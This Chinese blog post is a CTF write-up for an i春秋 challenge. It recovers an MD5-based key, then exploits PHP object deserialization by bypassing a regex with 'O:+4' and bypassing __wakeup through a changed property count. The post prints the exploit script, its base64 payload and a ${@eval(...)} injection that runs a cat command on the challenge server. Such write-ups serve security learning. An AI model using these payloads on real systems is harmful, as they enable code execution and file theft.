美文网首页
一道CTF反序列化

一道CTF反序列化

作者: _Tos | 来源:发表于2017-12-19 12:06 被阅读0次

    i春秋上百度杯十月中的一道题目-Hash

    创建题目,打开

    深度截图_选择区域_20171219113059.png

    点击hahaha跳转

    深度截图_选择区域_20171219113215.png

    参数为key以及hash,内容

    you are 123;if you are not 123,you can get the flag

    首先对hash进行解密,推荐https://www.somd5.com/

    深度截图_选择区域_20171219113427.png

    根据加密方式猜测hash的构造是由kkkkkk01+key值

    所以对kkkkkk01234进行md5,然后传参请求:


    深度截图_选择区域_20171219113931.png

    得到一个php文件,打开一段高亮的php代码:

    <?php 
    class Demo { 
        private $file = 'Gu3ss_m3_h2h2.php'; 
    
        public function __construct($file) { 
            $this->file = $file; 
        } 
    
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        } 
    
        function __wakeup() { 
            if ($this->file != 'Gu3ss_m3_h2h2.php') { 
                //the secret is in the f15g_1s_here.php 
                $this->file = 'Gu3ss_m3_h2h2.php'; 
            } 
        } 
    } 
    
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:\d+:/i', $var)) { 
            die('stop hacking!'); 
        } else { 
    
            @unserialize($var); 
        } 
    } else { 
        highlight_file("Gu3ss_m3_h2h2.php"); 
    } 
    ?>
    

    简单的看了下,猜测是反序列化的利用,并且需要在反序列化利用之前绕过正则匹配。而且__wakeup()在__destruct()调用之前会被自动调用,所以如果想要读取f15g_1s_here.php,需要绕过这点。而__wakeup()存在一个缺陷,__wakeup触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得__wakeup失效。参考http://blog.csdn.net/qq_19876131/article/details/52890854

    所以构造脚本:

    <?php 
    class Demo { 
        private $file = 'Gu3ss_m3_h2h2.php';
    
        public function __construct($file) { 
            $this->file = $file; 
        } 
    
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        } 
    
        function __wakeup() { 
            if ($this->file != 'Gu3ss_m3_h2h2.php') { 
                //the secret is in the f15g_1s_here.php 
                $this->file = 'Gu3ss_m3_h2h2.php'; 
            } 
        } 
    } 
    
    $flag = new Demo('f15g_1s_here.php');
    $flag = serialize($flag);
    $flag = str_replace('O:4', 'O:+4',$flag);
    $flag = str_replace(':1:', ':2:' ,$flag);
    echo base64_encode($flag);
    ?>
    

    执行结果:

    TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
    

    之后请求:
    http://185986cfcd074eeb8873be8a81d353ab184e514ec1864b0b.game.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
    得到f15g_1s_here.php文件内容:

    深度截图_选择区域_20171219115122.png
    <?php 
    if (isset($_GET['val'])) { 
        $val = $_GET['val']; 
        eval('$value="' . addslashes($val) . '";'); 
    } else { 
        die('hahaha!'); 
    } 
    
    ?>
    

    构造payload:

    http://185986cfcd074eeb8873be8a81d353ab184e514ec1864b0b.game.ichunqiu.com/f15g_1s_here.php?val=${@eval($_GET[0])}&0=echo%20`cat%20True_F1ag_i3_Here_233.php`;
    

    相关文章

      网友评论

          本文标题:一道CTF反序列化

          本文链接:https://www.haomeiwen.com/subject/uysbwxtx.html